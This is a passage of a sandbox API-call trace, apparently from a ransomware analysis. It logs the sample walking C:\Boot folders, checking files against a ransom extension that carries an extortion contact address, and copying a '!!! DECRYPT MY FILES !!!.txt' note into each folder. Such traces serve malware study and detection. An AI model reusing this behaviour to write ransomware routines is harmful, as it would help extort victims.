lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc4853f40, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4e40 [0095.598] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0095.598] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\es-ES\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\es-es\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0095.602] GetProcessHeap () returned 0x630000 [0095.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4f00, Size=0x3c) returned 0x69b4e0 [0095.602] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0095.602] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0095.602] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0095.602] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\es-MX\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\es-MX\\") returned 1 [0095.602] CharLowerBuffW (in: lpsz="C:\\Boot\\es-MX\\", cchLength=0xe | out: lpsz="c:\\boot\\es-mx\\") returned 0xe [0095.603] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0095.603] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0095.603] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0095.603] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.603] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0095.604] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\es-MX\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 1 [0095.604] CharLowerBuffW (in: lpsz="C:\\Boot\\es-MX\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\es-mx\\bootmgr.exe.mui") returned 0x1d [0095.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0095.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0095.604] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0095.604] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0095.604] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0095.604] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0095.605] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0095.605] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\et-EE\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\et-EE\\") returned 1 [0095.605] CharLowerBuffW (in: lpsz="C:\\Boot\\et-EE\\", cchLength=0xe | out: lpsz="c:\\boot\\et-ee\\") returned 0xe [0095.605] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0095.605] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0095.605] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0095.605] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.605] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0095.605] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\et-EE\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 1 [0095.606] CharLowerBuffW (in: lpsz="C:\\Boot\\et-EE\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\et-ee\\bootmgr.exe.mui") returned 0x1d [0095.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0095.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0095.606] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0095.606] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0095.606] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0095.606] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0095.606] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0095.606] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\fi-FI\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\fi-FI\\") returned 1 [0095.606] CharLowerBuffW (in: lpsz="C:\\Boot\\fi-FI\\", cchLength=0xe | out: lpsz="c:\\boot\\fi-fi\\") returned 0xe [0095.606] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0095.606] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0095.607] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d52c0 [0095.607] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.607] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0095.607] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\fi-FI\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 1 [0095.607] CharLowerBuffW (in: lpsz="C:\\Boot\\fi-FI\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\fi-fi\\bootmgr.exe.mui") returned 0x1d [0095.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0095.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0095.608] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0095.608] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0095.608] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0095.608] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fi-fi\\bootmgr.exe.mui", psz="C:\\Boot\\fi-FI\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 1 [0095.608] CharLowerBuffW (in: lpsz="C:\\Boot\\fi-FI\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\fi-fi\\memtest.exe.mui") returned 0x1d [0095.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0095.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0095.608] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0095.608] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0095.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0095.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0095.609] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc487a0b9, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4ec0 [0095.609] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0095.609] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\fi-FI\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\fi-fi\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0095.613] GetProcessHeap () returned 0x630000 [0095.613] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b4e0, Size=0x40) returned 0x69aeb0 [0095.613] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0095.613] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0095.613] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0095.614] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\Fonts\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\Fonts\\") returned 1 [0095.614] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\", cchLength=0xe | out: lpsz="c:\\boot\\fonts\\") returned 0xe [0095.614] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0095.614] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0095.614] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5580 [0099.701] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.702] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0099.702] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\Fonts\\chs_boot.ttf", len=0x1a | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\chs_boot.ttf") returned 1 [0099.702] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\chs_boot.ttf", cchLength=0x1a | out: lpsz="c:\\boot\\fonts\\chs_boot.ttf") returned 0x1a [0099.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0099.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0099.702] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0099.702] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0099.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0099.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0099.703] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x6ebf298, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5540 [0099.703] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0099.703] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\Fonts\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\fonts\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0101.250] GetProcessHeap () returned 0x630000 [0101.250] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1418 [0101.250] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0101.250] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\chs_boot.ttf", psz="C:\\Boot\\Fonts\\cht_boot.ttf", len=0x1a | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\cht_boot.ttf") returned 1 [0101.250] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\cht_boot.ttf", 